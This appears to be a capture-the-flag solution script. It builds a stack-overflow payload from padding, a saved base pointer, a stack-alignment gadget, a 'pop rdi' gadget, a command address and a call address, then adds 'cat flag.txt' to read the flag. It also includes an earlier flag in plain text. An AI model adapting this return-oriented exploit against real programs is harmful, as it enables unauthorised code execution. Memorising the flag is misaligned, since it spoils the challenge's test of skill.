OLDFLAG="hacklab{n3w_c4ll1ng_c0nv3nt1ons!_wYLVjeJr}"
PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" #32
SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00"  #kind of irrelevant
GADGET1="\xa4\x12\x40\00\00\00\00\00"      #ret (for stack alignment)
GADGET2="\xa3\x12\x40\00\00\00\00\00"      #pop rdi, ret
CMDADDR="\x08\x20\x40\00\00\00\00\00"
CMDCALL="\x96\x11\x40\00\00\00\00\00"

printf "$OLDFLAG\n$PADDING$SAVERBP$GADGET1$GADGET2$CMDADDR$CMDCALL\ncat flag.txt\n" > input.txt